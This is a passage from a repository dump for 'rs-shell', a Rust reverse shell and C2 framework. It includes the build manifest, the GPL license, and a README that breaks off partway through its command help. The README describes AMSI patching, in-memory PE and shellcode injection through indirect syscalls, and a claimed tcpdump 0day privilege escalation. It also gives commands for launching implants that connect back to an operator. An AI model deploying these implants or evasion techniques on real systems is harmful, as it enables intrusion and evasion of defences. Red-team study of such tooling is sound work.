Repository: BlWasp/rs-shell
Branch: main
Commit: d1db0100fefe
Files: 22
Total size: 261.1 KB
Directory structure:
gitextract_dup77qzh/
├── .gitignore
├── .gitmodules
├── .vscode/
│ └── settings.json
├── Cargo.toml
├── LICENSE
├── README.md
└── src/
├── amsi_bypass.rs
├── autopwn.rs
├── https/
│ ├── https_linux_implant.rs
│ ├── https_operator.rs
│ ├── https_server.rs
│ ├── https_windows_implant.rs
│ └── routes.rs
├── loader.rs
├── loader_syscalls.rs
├── main.rs
├── tcp/
│ ├── tcp_linux_client.rs
│ ├── tcp_server.rs
│ └── tcp_windows_client.rs
└── utils/
├── structures.rs
├── tools.rs
└── tools_windows.rs
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
# Generated by Cargo
# will have compiled files and executables
/target/
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
Cargo.lock
# These are backup files generated by rustfmt
**/*.rs.bk
output_*/
# shellcode
*.raw
*.bin
# TLS certificates
certificat.pfx
cert.pem
key.pem
# Test files
next_task.txt
output.txt
os.txt
================================================
FILE: .gitmodules
================================================
================================================
FILE: .vscode/settings.json
================================================
{
"rust-analyzer.linkedProjects": [
".\\Cargo.toml",
".\\Cargo.toml",
".\\Cargo.toml"
]
}
================================================
FILE: Cargo.toml
================================================
[package]
name = "rs-shell"
version = "0.2.5"
edition = "2024"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
native-tls = "0.2.14"
signal-hook = "0.3.18"
regex = "1.12.2"
open = "5.3.3"
simple_logger = "5.1.0"
log = "0.4.28"
ctrlc = "3.5.1"
clap = { version = "4.5.53", features = ["derive"] }
ntapi = "0.4.1"
winapi = "0.3.9"
time = "0.3.44"
tokio = "1.50.0"
actix-web = { version = "4.12.0", features = ["rustls-0_22"] }
rustls = "0.22.4" # Do not upgrade for the moment, building errors with cmake starting at 0.23.0
rustls-pemfile = "2.2.0"
actix-files = "0.6.8"
actix-multipart = "0.7.2"
reqwest = { version = "0.12.24", features = ["blocking", "rustls-tls", "multipart"] }
[dependencies.windows-sys]
version = "0.61.2"
features = [
"Win32_System_Memory",
"Win32_Foundation",
"Win32_Security",
"Win32_System_Threading",
"Win32_System_Diagnostics_Debug",
"Win32_System_Diagnostics_ToolHelp",
"Win32_System_LibraryLoader",
"Win32_System_Kernel",
"Wdk_System_Threading",
"Win32_Networking_WinInet",
"Win32_Networking_WinHttp"
]
[target.'cfg(target_os = "windows")'.dependencies]
syscalls = { git = "https://github.com/BlWasp/syscalls-rs.git", branch = "main", features = ["_INDIRECT_"] }
================================================
FILE: LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
Copyright (C)
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
================================================
FILE: README.md
================================================
RS-Shell
*"The worst Rust programmer you have ever seen"* - my mom
*"But at least it works"* - still my mom, but not about me
## Description
RS-Shell is reverse shell solution developped in Rust with client, implant and server embedded in the same binary. This project has been mainly started to learn Rust with a tool that could help me in my work, and the code quality could be greatly improved. This project is like my Rust sandbox where I can test new things.
RS-Shell implements two modes: **TLS over TCP** and **HTTPS**.
* TLS over TCP mode is a standard reverse shell where the implant executed on the target machine will connect back to the TLS listener, running on the operator's machine
* HTTPS mode works more like a C2 infratructure, with an HTTPS server, an implant, and a client:
* The HTTPS server is executed on a server accessible by both the implant and the client. It is based on the [Actix](https://actix.rs/) web framework with [Rustls](https://docs.rs/rustls/latest/rustls/)
* The implant is executed on the target machine and will request the server for "new tasks" every 2 seconds (by default, can be changed in the code for the moment)
* The client is executed on the operator's machine. It will also connect to the server via HTTPS, and will permit to send the commands to the implant
Windows HTTPS implant is partially proxy aware thanks to the [Windows's WinINet library](https://learn.microsoft.com/fr-fr/windows/win32/wininet/about-wininet). This means that it is able to identify proxy configuration in the registry and automatically authenticate against it if necessary (if the proxy is not configured via the registry or a WPAD file, this will probably fail, and you will have to indicate the proxy URL and the credentials manually in the implant code).
Client, implant and server are all cross-platform and work on Windows and Linux systems.
For Windows implants, additonal features have been integrated for offensive purpose, and they will be improved in futur commits.
For this purpose, I have chosen to mainly use the official [windows_sys](https://docs.rs/windows-sys/latest/windows_sys/) crate to interact with the Win32API and the [ntapi](https://docs.rs/ntapi/latest/ntapi/) crate for the NTAPI.
The project is thought in module. This means that you can easily add or remove features to and from it, and you can also easily take parts from it to put them in your own project.
## Features
For the moment, the following features are present:
* Semi-interactive reverse shell via TLS over TCP
* Semi-interactive reverse shell via HTTPS with a *C2 like infrastructure*, and a proxy aware Windows implant
* File upload and download
* Start a PowerShell interactive session with the ability to patch the AMSI in memory with or without indirect syscalls (**only in TCP mode**)
* Loading features :
* Load and execute a PE in the implant memory, **with or without indirect syscalls**
* Load and execute a PE in a remote process memory, **with or without indirect syscalls**
* Load and execute a shellcode in a remote process memory, **with or without indirect syscalls**
* Autopwn the client machine and elevate the privileges to SYSTEM or root by exploiting a 0day in `tcpdump`
To perform the indirect syscalls, I use the incredible [rust-mordor-rs](https://github.com/gmh5225/rust-mordor-rs) project initiate by [memN0ps](https://twitter.com/memN0ps). However, I use the version from my repository, which just patches little errors I have found regarding libraries versions and crate imports.
## How to
### Setup
By default, only the `error`, `warn` and `info` logs are displayed. If you also need the `debug` ones (can be usefull for the loading features), you can change this in `main.rs` by modifying `::log::set_max_level(LevelFilter::Info);` to `::log::set_max_level(LevelFilter::Debug);`.
#### TCP setup
I have set a `dummy` domain for hostname validation in the `connect()` function for both clients in TCP mode. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.
A new self-signed PKCS12 TLS certificate can be obtained like this:
```bash
openssl req -newkey rsa:2048 -nodes -keyout private.key -x509 -days 365 -out certificate.cer
openssl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.cer
```
#### HTTPS setup
Similarly to TCP, I have set up all the flags in the clients' configurations to avoid certificate checks and use self-signed certificates. If you use a signed certificate for a real server, you can change it and remove the unsecure flags that remove hostname and certs validations.
Rustls doesn't seem to support PKCS12 certificates (maybe I haven't found how to do it?). So, to obtain a PKCS8 certificate with a separate private key:
```bash
openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj '/CN=localhost'
```
### Compilation
The project can be compiled with `cargo build --release` on Windows or Linux and the binary will be present in `target/release/`, or the target name if a target is specified.
To cross-compile for a different target than your current OS you can use, for example, `cargo build --release --target x86_64-pc-windows-gnu`. In order to work, this requires the appropriate target toolchain to be installed. As an example, to generate Windows binaries from an Ubuntu machine:
* `sudo apt install mingw-w64`
* `rustup target add x86_64-pc-windows-gnu`
* `cargo build --release --target x86_64-pc-windows-gnu`
The project compilation has been tested with the following Rust toolchains :
* `stable-x86_64-pc-windows-gnu`
* `stable-x86_64-pc-windows-msvc`
* `stable-x86_64-unknown-linux-gnu`
If you compile the project for a Linux target, the "Windows features" will be removed at compilation.
Should run on all Windows and Linux versions (I have hope).
### Usage
```plain
Usage: rs-shell.exe [OPTIONS] --mode --side --ip
Options:
-m, --mode communication protocol. TCP will open a simple TLS tunnel between an implant and a listener (like a classic reverse shell). HTTPS will use an HTTPS server, an HTTPS implant on the target, and a client to interact with the implant through the server (similar to a C2 infrastructure) [possible values: tcp, https]
-s, --side launch the implant (i), the client (c) (only for HTTPS), or the listener (l) [possible values: i, c, l]
-i, --ip IP address to bind to for the TCP listener or the HTTP server, or to connect to for the clients and implants
-p, --port port address to bind to for the TCP listener, or to connect to for the implant
--cert-path path of the TLS certificate for the server. In PFX or PKCS12 format for TCP, in PEM format for HTTPS
--cert-pass password of the TLS PKCS12 certificate for the TCP server
--key-path path of the TLS key for the HTTPS server
-h, --help Print help
-V, --version Print version
```
#### TCP usage
To obtain a session, just launch the binary in listener mode on your machine with `rs-shell.exe -m tcp -s l -i IP_to_bind_to -p port_to_bind_to --cert-path certificate_path --cert-pass certificate_password`. For example `rs-shell.exe -m tcp -s l -i 0.0.0.0 -p 4545 --cert-path certificate.pfx --cert-pass "Password"`.
Then, on the target machine launch the implant to connect back to your server with `rs-shell.exe -m tcp -s i -i IP_to_connect_to -p port_to_connect_to`. For example `rs-shell.exe -s c --ip 192.168.1.10 --port 4545`.
#### HTTPS usage
First, launch the binary in server mode on a server that can be reached by both the implant and the client: `rs-shell.exe -m https -s l -i IP_to_bind_to --cert-path certificate_path --key-path private_key_path`. For example `rs-shell.exe -m https -s l -i 0.0.0.0 --cert-path .\cert.pem --key-path .\key.pem`.
Then, execute the implant on the target machine with `rs-shell.exe -m https -s i -i IP_to_connect_to`. For example `rs-shell.exe -m https -s i -i 192.168.1.40`.
Finally, run the client on your machine to connect to the server and start to interact with the implant with `rs-shell.exe -m https -s c -i IP_to_connect_to`. For example `rs-shell.exe -m https -s c -i 192.168.1.40`.
### Advanced commands
```plain
> help
[+] Custom integrated commands :
[+] Loading commands
> load C:\\path\\to\\PE_to_load
load a PE file in the client process memory and executes it. This will kill the reverse shell !
